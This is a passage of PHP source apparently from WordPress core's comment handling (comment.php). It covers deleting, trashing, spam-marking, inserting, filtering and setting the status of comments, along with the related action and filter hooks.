	 * @since 1.2.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment to be deleted.
	 */
	do_action( 'delete_comment', $comment->comment_ID, $comment );

	// Move children up a level.
	$children = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_parent = %d", $comment->comment_ID ) );
	if ( ! empty( $children ) ) {
		$wpdb->update( $wpdb->comments, array( 'comment_parent' => $comment->comment_parent ), array( 'comment_parent' => $comment->comment_ID ) );
		clean_comment_cache( $children );
	}

	// Delete metadata.
	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->commentmeta WHERE comment_id = %d", $comment->comment_ID ) );
	foreach ( $meta_ids as $mid ) {
		delete_metadata_by_mid( 'comment', $mid );
	}

	if ( ! $wpdb->delete( $wpdb->comments, array( 'comment_ID' => $comment->comment_ID ) ) ) {
		return false;
	}

	/**
	 * Fires immediately after a comment is deleted from the database.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The deleted comment.
	 */
	do_action( 'deleted_comment', $comment->comment_ID, $comment );

	$post_id = $comment->comment_post_ID;
	if ( $post_id && 1 == $comment->comment_approved ) {
		wp_update_comment_count( $post_id );
	}

	clean_comment_cache( $comment->comment_ID );

	/** This action is documented in wp-includes/comment.php */
	do_action( 'wp_set_comment_status', $comment->comment_ID, 'delete' );

	wp_transition_comment_status( 'delete', $comment->comment_approved, $comment );

	return true;
}

/**
 * Moves a comment to the Trash
 *
 * If Trash is disabled, comment is permanently deleted.
 *
 * @since 2.9.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
 * @return bool True on success, false on failure.
 */
function wp_trash_comment( $comment_id ) {
	if ( ! EMPTY_TRASH_DAYS ) {
		return wp_delete_comment( $comment_id, true );
	}

	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	/**
	 * Fires immediately before a comment is sent to the Trash.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment to be trashed.
	 */
	do_action( 'trash_comment', $comment->comment_ID, $comment );

	if ( wp_set_comment_status( $comment, 'trash' ) ) {
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', $comment->comment_approved );
		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_time', time() );

		/**
		 * Fires immediately after a comment is sent to Trash.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 Added the `$comment` parameter.
		 *
		 * @param string     $comment_id The comment ID as a numeric string.
		 * @param WP_Comment $comment    The trashed comment.
		 */
		do_action( 'trashed_comment', $comment->comment_ID, $comment );

		return true;
	}

	return false;
}

/**
 * Removes a comment from the Trash
 *
 * @since 2.9.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
 * @return bool True on success, false on failure.
 */
function wp_untrash_comment( $comment_id ) {
	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	/**
	 * Fires immediately before a comment is restored from the Trash.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment to be untrashed.
	 */
	do_action( 'untrash_comment', $comment->comment_ID, $comment );

	$status = (string) get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true );
	if ( empty( $status ) ) {
		$status = '0';
	}

	if ( wp_set_comment_status( $comment, $status ) ) {
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );

		/**
		 * Fires immediately after a comment is restored from the Trash.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 Added the `$comment` parameter.
		 *
		 * @param string     $comment_id The comment ID as a numeric string.
		 * @param WP_Comment $comment    The untrashed comment.
		 */
		do_action( 'untrashed_comment', $comment->comment_ID, $comment );

		return true;
	}

	return false;
}

/**
 * Marks a comment as Spam.
 *
 * @since 2.9.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
 * @return bool True on success, false on failure.
 */
function wp_spam_comment( $comment_id ) {
	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	/**
	 * Fires immediately before a comment is marked as Spam.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param int        $comment_id The comment ID.
	 * @param WP_Comment $comment    The comment to be marked as spam.
	 */
	do_action( 'spam_comment', $comment->comment_ID, $comment );

	if ( wp_set_comment_status( $comment, 'spam' ) ) {
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', $comment->comment_approved );
		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_time', time() );

		/**
		 * Fires immediately after a comment is marked as Spam.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 Added the `$comment` parameter.
		 *
		 * @param int        $comment_id The comment ID.
		 * @param WP_Comment $comment    The comment marked as spam.
		 */
		do_action( 'spammed_comment', $comment->comment_ID, $comment );

		return true;
	}

	return false;
}

/**
 * Removes a comment from the Spam.
 *
 * @since 2.9.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
 * @return bool True on success, false on failure.
 */
function wp_unspam_comment( $comment_id ) {
	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	/**
	 * Fires immediately before a comment is unmarked as Spam.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment to be unmarked as spam.
	 */
	do_action( 'unspam_comment', $comment->comment_ID, $comment );

	$status = (string) get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true );
	if ( empty( $status ) ) {
		$status = '0';
	}

	if ( wp_set_comment_status( $comment, $status ) ) {
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );

		/**
		 * Fires immediately after a comment is unmarked as Spam.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 Added the `$comment` parameter.
		 *
		 * @param string     $comment_id The comment ID as a numeric string.
		 * @param WP_Comment $comment    The comment unmarked as spam.
		 */
		do_action( 'unspammed_comment', $comment->comment_ID, $comment );

		return true;
	}

	return false;
}

/**
 * Retrieves the status of a comment by comment ID.
 *
 * @since 1.0.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object
 * @return string|false Status might be 'trash', 'approved', 'unapproved', 'spam'. False on failure.
 */
function wp_get_comment_status( $comment_id ) {
	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	$approved = $comment->comment_approved;

	if ( null == $approved ) {
		return false;
	} elseif ( '1' == $approved ) {
		return 'approved';
	} elseif ( '0' == $approved ) {
		return 'unapproved';
	} elseif ( 'spam' === $approved ) {
		return 'spam';
	} elseif ( 'trash' === $approved ) {
		return 'trash';
	} else {
		return false;
	}
}

/**
 * Calls hooks for when a comment status transition occurs.
 *
 * Calls hooks for comment status transitions. If the new comment status is not the same
 * as the previous comment status, then two hooks will be ran, the first is
 * {@see 'transition_comment_status'} with new status, old status, and comment data.
 * The next action called is {@see 'comment_$old_status_to_$new_status'}. It has
 * the comment data.
 *
 * The final action will run whether or not the comment statuses are the same.
 * The action is named {@see 'comment_$new_status_$comment->comment_type'}.
 *
 * @since 2.7.0
 *
 * @param string     $new_status New comment status.
 * @param string     $old_status Previous comment status.
 * @param WP_Comment $comment    Comment object.
 */
function wp_transition_comment_status( $new_status, $old_status, $comment ) {
	/*
	 * Translate raw statuses to human-readable formats for the hooks.
	 * This is not a complete list of comment status, it's only the ones
	 * that need to be renamed.
	 */
	$comment_statuses = array(
		0         => 'unapproved',
		'hold'    => 'unapproved', // wp_set_comment_status() uses "hold".
		1         => 'approved',
		'approve' => 'approved',   // wp_set_comment_status() uses "approve".
	);
	if ( isset( $comment_statuses[ $new_status ] ) ) {
		$new_status = $comment_statuses[ $new_status ];
	}
	if ( isset( $comment_statuses[ $old_status ] ) ) {
		$old_status = $comment_statuses[ $old_status ];
	}

	// Call the hooks.
	if ( $new_status != $old_status ) {
		/**
		 * Fires when the comment status is in transition.
		 *
		 * @since 2.7.0
		 *
		 * @param int|string $new_status The new comment status.
		 * @param int|string $old_status The old comment status.
		 * @param WP_Comment $comment    Comment object.
		 */
		do_action( 'transition_comment_status', $new_status, $old_status, $comment );
		/**
		 * Fires when the comment status is in transition from one specific status to another.
		 *
		 * The dynamic portions of the hook name, `$old_status`, and `$new_status`,
		 * refer to the old and new comment statuses, respectively.
		 *
		 * Possible hook names include:
		 *
		 *  - `comment_unapproved_to_approved`
		 *  - `comment_spam_to_approved`
		 *  - `comment_approved_to_unapproved`
		 *  - `comment_spam_to_unapproved`
		 *  - `comment_unapproved_to_spam`
		 *  - `comment_approved_to_spam`
		 *
		 * @since 2.7.0
		 *
		 * @param WP_Comment $comment Comment object.
		 */
		do_action( "comment_{$old_status}_to_{$new_status}", $comment );
	}
	/**
	 * Fires when the status of a specific comment type is in transition.
	 *
	 * The dynamic portions of the hook name, `$new_status`, and `$comment->comment_type`,
	 * refer to the new comment status, and the type of comment, respectively.
	 *
	 * Typical comment types include 'comment', 'pingback', or 'trackback'.
	 *
	 * Possible hook names include:
	 *
	 *  - `comment_approved_comment`
	 *  - `comment_approved_pingback`
	 *  - `comment_approved_trackback`
	 *  - `comment_unapproved_comment`
	 *  - `comment_unapproved_pingback`
	 *  - `comment_unapproved_trackback`
	 *  - `comment_spam_comment`
	 *  - `comment_spam_pingback`
	 *  - `comment_spam_trackback`
	 *
	 * @since 2.7.0
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    Comment object.
	 */
	do_action( "comment_{$new_status}_{$comment->comment_type}", $comment->comment_ID, $comment );
}

/**
 * Clears the lastcommentmodified cached value when a comment status is changed.
 *
 * Deletes the lastcommentmodified cache key when a comment enters or leaves
 * 'approved' status.
 *
 * @since 4.7.0
 * @access private
 *
 * @param string $new_status The new comment status.
 * @param string $old_status The old comment status.
 */
function _clear_modified_cache_on_transition_comment_status( $new_status, $old_status ) {
	if ( 'approved' === $new_status || 'approved' === $old_status ) {
		$data = array();
		foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
			$data[] = "lastcommentmodified:$timezone";
		}
		wp_cache_delete_multiple( $data, 'timeinfo' );
	}
}

/**
 * Gets current commenter's name, email, and URL.
 *
 * Expects cookies content to already be sanitized. User of this function might
 * wish to recheck the returned array for validity.
 *
 * @see sanitize_comment_cookies() Use to sanitize cookies
 *
 * @since 2.0.4
 *
 * @return array {
 *     An array of current commenter variables.
 *
 *     @type string $comment_author       The name of the current commenter, or an empty string.
 *     @type string $comment_author_email The email address of the current commenter, or an empty string.
 *     @type string $comment_author_url   The URL address of the current commenter, or an empty string.
 * }
 */
function wp_get_current_commenter() {
	// Cookies should already be sanitized.

	$comment_author = '';
	if ( isset( $_COOKIE[ 'comment_author_' . COOKIEHASH ] ) ) {
		$comment_author = $_COOKIE[ 'comment_author_' . COOKIEHASH ];
	}

	$comment_author_email = '';
	if ( isset( $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] ) ) {
		$comment_author_email = $_COOKIE[ 'comment_author_email_' . COOKIEHASH ];
	}

	$comment_author_url = '';
	if ( isset( $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] ) ) {
		$comment_author_url = $_COOKIE[ 'comment_author_url_' . COOKIEHASH ];
	}

	/**
	 * Filters the current commenter's name, email, and URL.
	 *
	 * @since 3.1.0
	 *
	 * @param array $comment_author_data {
	 *     An array of current commenter variables.
	 *
	 *     @type string $comment_author       The name of the current commenter, or an empty string.
	 *     @type string $comment_author_email The email address of the current commenter, or an empty string.
	 *     @type string $comment_author_url   The URL address of the current commenter, or an empty string.
	 * }
	 */
	return apply_filters( 'wp_get_current_commenter', compact( 'comment_author', 'comment_author_email', 'comment_author_url' ) );
}

/**
 * Gets unapproved comment author's email.
 *
 * Used to allow the commenter to see their pending comment.
 *
 * @since 5.1.0
 * @since 5.7.0 The window within which the author email for an unapproved comment
 *              can be retrieved was extended to 10 minutes.
 *
 * @return string The unapproved comment author's email (when supplied).
 */
function wp_get_unapproved_comment_author_email() {
	$commenter_email = '';

	if ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) {
		$comment_id = (int) $_GET['unapproved'];
		$comment    = get_comment( $comment_id );

		if ( $comment && hash_equals( $_GET['moderation-hash'], wp_hash( $comment->comment_date_gmt ) ) ) {
			// The comment will only be viewable by the comment author for 10 minutes.
			$comment_preview_expires = strtotime( $comment->comment_date_gmt . '+10 minutes' );

			if ( time() < $comment_preview_expires ) {
				$commenter_email = $comment->comment_author_email;
			}
		}
	}

	if ( ! $commenter_email ) {
		$commenter       = wp_get_current_commenter();
		$commenter_email = $commenter['comment_author_email'];
	}

	return $commenter_email;
}

/**
 * Inserts a comment into the database.
 *
 * @since 2.0.0
 * @since 4.4.0 Introduced the `$comment_meta` argument.
 * @since 5.5.0 Default value for `$comment_type` argument changed to `comment`.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $commentdata {
 *     Array of arguments for inserting a new comment.
 *
 *     @type string     $comment_agent        The HTTP user agent of the `$comment_author` when
 *                                            the comment was submitted. Default empty.
 *     @type int|string $comment_approved     Whether the comment has been approved. Default 1.
 *     @type string     $comment_author       The name of the author of the comment. Default empty.
 *     @type string     $comment_author_email The email address of the `$comment_author`. Default empty.
 *     @type string     $comment_author_IP    The IP address of the `$comment_author`. Default empty.
 *     @type string     $comment_author_url   The URL address of the `$comment_author`. Default empty.
 *     @type string     $comment_content      The content of the comment. Default empty.
 *     @type string     $comment_date         The date the comment was submitted. To set the date
 *                                            manually, `$comment_date_gmt` must also be specified.
 *                                            Default is the current time.
 *     @type string     $comment_date_gmt     The date the comment was submitted in the GMT timezone.
 *                                            Default is `$comment_date` in the site's GMT timezone.
 *     @type int        $comment_karma        The karma of the comment. Default 0.
 *     @type int        $comment_parent       ID of this comment's parent, if any. Default 0.
 *     @type int        $comment_post_ID      ID of the post that relates to the comment, if any.
 *                                            Default 0.
 *     @type string     $comment_type         Comment type. Default 'comment'.
 *     @type array      $comment_meta         Optional. Array of key/value pairs to be stored in commentmeta for the
 *                                            new comment.
 *     @type int        $user_id              ID of the user who submitted the comment. Default 0.
 * }
 * @return int|false The new comment's ID on success, false on failure.
 */
function wp_insert_comment( $commentdata ) {
	global $wpdb;

	$data = wp_unslash( $commentdata );

	$comment_author       = ! isset( $data['comment_author'] ) ? '' : $data['comment_author'];
	$comment_author_email = ! isset( $data['comment_author_email'] ) ? '' : $data['comment_author_email'];
	$comment_author_url   = ! isset( $data['comment_author_url'] ) ? '' : $data['comment_author_url'];
	$comment_author_ip    = ! isset( $data['comment_author_IP'] ) ? '' : $data['comment_author_IP'];

	$comment_date     = ! isset( $data['comment_date'] ) ? current_time( 'mysql' ) : $data['comment_date'];
	$comment_date_gmt = ! isset( $data['comment_date_gmt'] ) ? get_gmt_from_date( $comment_date ) : $data['comment_date_gmt'];

	$comment_post_id  = ! isset( $data['comment_post_ID'] ) ? 0 : $data['comment_post_ID'];
	$comment_content  = ! isset( $data['comment_content'] ) ? '' : $data['comment_content'];
	$comment_karma    = ! isset( $data['comment_karma'] ) ? 0 : $data['comment_karma'];
	$comment_approved = ! isset( $data['comment_approved'] ) ? 1 : $data['comment_approved'];
	$comment_agent    = ! isset( $data['comment_agent'] ) ? '' : $data['comment_agent'];
	$comment_type     = empty( $data['comment_type'] ) ? 'comment' : $data['comment_type'];
	$comment_parent   = ! isset( $data['comment_parent'] ) ? 0 : $data['comment_parent'];

	$user_id = ! isset( $data['user_id'] ) ? 0 : $data['user_id'];

	$compacted = array(
		'comment_post_ID'   => $comment_post_id,
		'comment_author_IP' => $comment_author_ip,
	);

	$compacted += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_date',
		'comment_date_gmt',
		'comment_content',
		'comment_karma',
		'comment_approved',
		'comment_agent',
		'comment_type',
		'comment_parent',
		'user_id'
	);

	if ( ! $wpdb->insert( $wpdb->comments, $compacted ) ) {
		return false;
	}

	$id = (int) $wpdb->insert_id;

	if ( 1 == $comment_approved ) {
		wp_update_comment_count( $comment_post_id );

		$data = array();
		foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
			$data[] = "lastcommentmodified:$timezone";
		}
		wp_cache_delete_multiple( $data, 'timeinfo' );
	}

	clean_comment_cache( $id );

	$comment = get_comment( $id );

	// If metadata is provided, store it.
	if ( isset( $commentdata['comment_meta'] ) && is_array( $commentdata['comment_meta'] ) ) {
		foreach ( $commentdata['comment_meta'] as $meta_key => $meta_value ) {
			add_comment_meta( $comment->comment_ID, $meta_key, $meta_value, true );
		}
	}

	/**
	 * Fires immediately after a comment is inserted into the database.
	 *
	 * @since 2.8.0
	 *
	 * @param int        $id      The comment ID.
	 * @param WP_Comment $comment Comment object.
	 */
	do_action( 'wp_insert_comment', $id, $comment );

	return $id;
}

/**
 * Filters and sanitizes comment data.
 *
 * Sets the comment data 'filtered' field to true when finished. This can be
 * checked as to whether the comment should be filtered and to keep from
 * filtering the same comment more than once.
 *
 * @since 2.0.0
 *
 * @param array $commentdata Contains information on the comment.
 * @return array Parsed comment information.
 */
function wp_filter_comment( $commentdata ) {
	if ( isset( $commentdata['user_ID'] ) ) {
		/**
		 * Filters the comment author's user ID before it is set.
		 *
		 * The first time this filter is evaluated, `user_ID` is checked
		 * (for back-compat), followed by the standard `user_id` value.
		 *
		 * @since 1.5.0
		 *
		 * @param int $user_id The comment author's user ID.
		 */
		$commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_ID'] );
	} elseif ( isset( $commentdata['user_id'] ) ) {
		/** This filter is documented in wp-includes/comment.php */
		$commentdata['user_id'] = apply_filters( 'pre_user_id', $commentdata['user_id'] );
	}

	/**
	 * Filters the comment author's browser user agent before it is set.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_agent The comment author's browser user agent.
	 */
	$commentdata['comment_agent'] = apply_filters( 'pre_comment_user_agent', ( isset( $commentdata['comment_agent'] ) ? $commentdata['comment_agent'] : '' ) );
	/** This filter is documented in wp-includes/comment.php */
	$commentdata['comment_author'] = apply_filters( 'pre_comment_author_name', $commentdata['comment_author'] );
	/**
	 * Filters the comment content before it is set.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_content The comment content.
	 */
	$commentdata['comment_content'] = apply_filters( 'pre_comment_content', $commentdata['comment_content'] );
	/**
	 * Filters the comment author's IP address before it is set.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_author_ip The comment author's IP address.
	 */
	$commentdata['comment_author_IP'] = apply_filters( 'pre_comment_user_ip', $commentdata['comment_author_IP'] );
	/** This filter is documented in wp-includes/comment.php */
	$commentdata['comment_author_url'] = apply_filters( 'pre_comment_author_url', $commentdata['comment_author_url'] );
	/** This filter is documented in wp-includes/comment.php */
	$commentdata['comment_author_email'] = apply_filters( 'pre_comment_author_email', $commentdata['comment_author_email'] );

	$commentdata['filtered'] = true;

	return $commentdata;
}

/**
 * Determines whether a comment should be blocked because of comment flood.
 *
 * @since 2.1.0
 *
 * @param bool $block            Whether plugin has already blocked comment.
 * @param int  $time_lastcomment Timestamp for last comment.
 * @param int  $time_newcomment  Timestamp for new comment.
 * @return bool Whether comment should be blocked.
 */
function wp_throttle_comment_flood( $block, $time_lastcomment, $time_newcomment ) {
	if ( $block ) { // A plugin has already blocked... we'll let that decision stand.
		return $block;
	}
	if ( ( $time_newcomment - $time_lastcomment ) < 15 ) {
		return true;
	}
	return false;
}

/**
 * Adds a new comment to the database.
 *
 * Filters new comment to ensure that the fields are sanitized and valid before
 * inserting comment into database. Calls {@see 'comment_post'} action with comment ID
 * and whether comment is approved by WordPress. Also has {@see 'preprocess_comment'}
 * filter for processing the comment data before the function handles it.
 *
 * We use `REMOTE_ADDR` here directly. If you are behind a proxy, you should ensure
 * that it is properly set, such as in wp-config.php, for your environment.
 *
 * See {@link https://core.trac.wordpress.org/ticket/9235}
 *
 * @since 1.5.0
 * @since 4.3.0 Introduced the `comment_agent` and `comment_author_IP` arguments.
 * @since 4.7.0 The `$avoid_die` parameter was added, allowing the function
 *              to return a WP_Error object instead of dying.
 * @since 5.5.0 The `$avoid_die` parameter was renamed to `$wp_error`.
 * @since 5.5.0 Introduced the `comment_type` argument.
 *
 * @see wp_insert_comment()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $commentdata {
 *     Comment data.
 *
 *     @type string $comment_author       The name of the comment author.
 *     @type string $comment_author_email The comment author email address.
 *     @type string $comment_author_url   The comment author URL.
 *     @type string $comment_content      The content of the comment.
 *     @type string $comment_date         The date the comment was submitted. Default is the current time.
 *     @type string $comment_date_gmt     The date the comment was submitted in the GMT timezone.
 *                                        Default is `$comment_date` in the GMT timezone.
 *     @type string $comment_type         Comment type. Default 'comment'.
 *     @type int    $comment_parent       The ID of this comment's parent, if any. Default 0.
 *     @type int    $comment_post_ID      The ID of the post that relates to the comment.
 *     @type int    $user_id              The ID of the user who submitted the comment. Default 0.
 *     @type int    $user_ID              Kept for backward-compatibility. Use `$user_id` instead.
 *     @type string $comment_agent        Comment author user agent. Default is the value of 'HTTP_USER_AGENT'
 *                                        in the `$_SERVER` superglobal sent in the original request.
 *     @type string $comment_author_IP    Comment author IP address in IPv4 format. Default is the value of
 *                                        'REMOTE_ADDR' in the `$_SERVER` superglobal sent in the original request.
 * }
 * @param bool  $wp_error Should errors be returned as WP_Error objects instead of
 *                        executing wp_die()? Default false.
 * @return int|false|WP_Error The ID of the comment on success, false or WP_Error on failure.
 */
function wp_new_comment( $commentdata, $wp_error = false ) {
	global $wpdb;

	/*
	 * Normalize `user_ID` to `user_id`, but pass the old key
	 * to the `preprocess_comment` filter for backward compatibility.
	 */
	if ( isset( $commentdata['user_ID'] ) ) {
		$commentdata['user_ID'] = (int) $commentdata['user_ID'];
		$commentdata['user_id'] = $commentdata['user_ID'];
	} elseif ( isset( $commentdata['user_id'] ) ) {
		$commentdata['user_id'] = (int) $commentdata['user_id'];
		$commentdata['user_ID'] = $commentdata['user_id'];
	}

	$prefiltered_user_id = ( isset( $commentdata['user_id'] ) ) ? (int) $commentdata['user_id'] : 0;

	if ( ! isset( $commentdata['comment_author_IP'] ) ) {
		$commentdata['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
	}

	if ( ! isset( $commentdata['comment_agent'] ) ) {
		$commentdata['comment_agent'] = isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '';
	}

	/**
	 * Filters a comment's data before it is sanitized and inserted into the database.
	 *
	 * @since 1.5.0
	 * @since 5.6.0 Comment data includes the `comment_agent` and `comment_author_IP` values.
	 *
	 * @param array $commentdata Comment data.
	 */
	$commentdata = apply_filters( 'preprocess_comment', $commentdata );

	$commentdata['comment_post_ID'] = (int) $commentdata['comment_post_ID'];

	// Normalize `user_ID` to `user_id` again, after the filter.
	if ( isset( $commentdata['user_ID'] ) && $prefiltered_user_id !== (int) $commentdata['user_ID'] ) {
		$commentdata['user_ID'] = (int) $commentdata['user_ID'];
		$commentdata['user_id'] = $commentdata['user_ID'];
	} elseif ( isset( $commentdata['user_id'] ) ) {
		$commentdata['user_id'] = (int) $commentdata['user_id'];
		$commentdata['user_ID'] = $commentdata['user_id'];
	}

	$commentdata['comment_parent'] = isset( $commentdata['comment_parent'] ) ? absint( $commentdata['comment_parent'] ) : 0;

	$parent_status = ( $commentdata['comment_parent'] > 0 ) ? wp_get_comment_status( $commentdata['comment_parent'] ) : '';

	$commentdata['comment_parent'] = ( 'approved' === $parent_status || 'unapproved' === $parent_status ) ? $commentdata['comment_parent'] : 0;

	$commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '', $commentdata['comment_author_IP'] );

	$commentdata['comment_agent'] = substr( $commentdata['comment_agent'], 0, 254 );

	if ( empty( $commentdata['comment_date'] ) ) {
		$commentdata['comment_date'] = current_time( 'mysql' );
	}

	if ( empty( $commentdata['comment_date_gmt'] ) ) {
		$commentdata['comment_date_gmt'] = current_time( 'mysql', 1 );
	}

	if ( empty( $commentdata['comment_type'] ) ) {
		$commentdata['comment_type'] = 'comment';
	}

	$commentdata = wp_filter_comment( $commentdata );

	$commentdata['comment_approved'] = wp_allow_comment( $commentdata, $wp_error );

	if ( is_wp_error( $commentdata['comment_approved'] ) ) {
		return $commentdata['comment_approved'];
	}

	$comment_id = wp_insert_comment( $commentdata );

	if ( ! $comment_id ) {
		$fields = array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content' );

		foreach ( $fields as $field ) {
			if ( isset( $commentdata[ $field ] ) ) {
				$commentdata[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->comments, $field, $commentdata[ $field ] );
			}
		}

		$commentdata = wp_filter_comment( $commentdata );

		$commentdata['comment_approved'] = wp_allow_comment( $commentdata, $wp_error );
		if ( is_wp_error( $commentdata['comment_approved'] ) ) {
			return $commentdata['comment_approved'];
		}

		$comment_id = wp_insert_comment( $commentdata );
		if ( ! $comment_id ) {
			return false;
		}
	}

	/**
	 * Fires immediately after a comment is inserted into the database.
	 *
	 * @since 1.2.0
	 * @since 4.5.0 The `$commentdata` parameter was added.
	 *
	 * @param int        $comment_id       The comment ID.
	 * @param int|string $comment_approved 1 if the comment is approved, 0 if not, 'spam' if spam.
	 * @param array      $commentdata      Comment data.
	 */
	do_action( 'comment_post', $comment_id, $commentdata['comment_approved'], $commentdata );

	return $comment_id;
}

/**
 * Sends a comment moderation notification to the comment moderator.
 *
 * @since 4.4.0
 *
 * @param int $comment_id ID of the comment.
 * @return bool True on success, false on failure.
 */
function wp_new_comment_notify_moderator( $comment_id ) {
	$comment = get_comment( $comment_id );

	// Only send notifications for pending comments.
	$maybe_notify = ( '0' == $comment->comment_approved );

	/** This filter is documented in wp-includes/pluggable.php */
	$maybe_notify = apply_filters( 'notify_moderator', $maybe_notify, $comment_id );

	if ( ! $maybe_notify ) {
		return false;
	}

	return wp_notify_moderator( $comment_id );
}

/**
 * Sends a notification of a new comment to the post author.
 *
 * @since 4.4.0
 *
 * Uses the {@see 'notify_post_author'} filter to determine whether the post author
 * should be notified when a new comment is added, overriding site setting.
 *
 * @param int $comment_id Comment ID.
 * @return bool True on success, false on failure.
 */
function wp_new_comment_notify_postauthor( $comment_id ) {
	$comment = get_comment( $comment_id );

	$maybe_notify = get_option( 'comments_notify' );

	/**
	 * Filters whether to send the post author new comment notification emails,
	 * overriding the site setting.
	 *
	 * @since 4.4.0
	 *
	 * @param bool $maybe_notify Whether to notify the post author about the new comment.
	 * @param int  $comment_id   The ID of the comment for the notification.
	 */
	$maybe_notify = apply_filters( 'notify_post_author', $maybe_notify, $comment_id );

	/*
	 * wp_notify_postauthor() checks if notifying the author of their own comment.
	 * By default, it won't, but filters can override this.
	 */
	if ( ! $maybe_notify ) {
		return false;
	}

	// Only send notifications for approved comments.
	if ( ! isset( $comment->comment_approved ) || '1' != $comment->comment_approved ) {
		return false;
	}

	return wp_notify_postauthor( $comment_id );
}

/**
 * Sets the status of a comment.
 *
 * The {@see 'wp_set_comment_status'} action is called after the comment is handled.
 * If the comment status is not in the list, then false is returned.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Comment $comment_id     Comment ID or WP_Comment object.
 * @param string         $comment_status New comment status, either 'hold', 'approve', 'spam', or 'trash'.
 * @param bool           $wp_error       Whether to return a WP_Error object if there is a failure. Default false.
 * @return bool|WP_Error True on success, false or WP_Error on failure.
 */
function wp_set_comment_status( $comment_id, $comment_status, $wp_error = false ) {
	global $wpdb;

	switch ( $comment_status ) {
		case 'hold':
		case '0':
			$status = '0';
			break;
		case 'approve':
		case '1':
			$status = '1';
			add_action( 'wp_set_comment_status', 'wp_new_comment_notify_postauthor' );
			break;
		case 'spam':
			$status = 'spam';
			break;
		case 'trash':
			$status = 'trash';
			break;
		default:
			return false;
	}

	$comment_old = clone get_comment( $comment_id );

	if ( ! $wpdb->update( $wpdb->comments, array( 'comment_approved' => $status ), array( 'comment_ID' => $comment_old->comment_ID ) ) ) {
		if ( $wp_error ) {
			return new WP_Error( 'db_update_error', __( 'Could not update comment status.' ), $wpdb->last_error );
		} else {
			return false;
		}
	}

	clean_comment_cache( $comment_old->comment_ID );

	$comment = get_comment( $comment_old->comment_ID );

	/**
	 * Fires immediately after transitioning a comment's status from one to another in the database
	 * and removing the comment from the object cache, but prior to all status transition hooks.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_id     Comment ID as a numeric string.
	 * @param string $comment_status Current comment status. Possible values include
	 *                               'hold', '0', 'approve', '1', 'spam', and 'trash'.
	 */
	do_action( 'wp_set_comment_status', $comment->comment_ID, $comment_status );

	wp_transition_comment_status( $comment_status, $comment_old->comment_approved, $comment );

	wp_update_comment_count( $comment->comment_post_ID );

	return true;
}

/**
 * Updates an existing comment in the database.
 *
 * Filters the comment and makes sure certain fields are valid before updating.
 *
 * @since 2.0.0
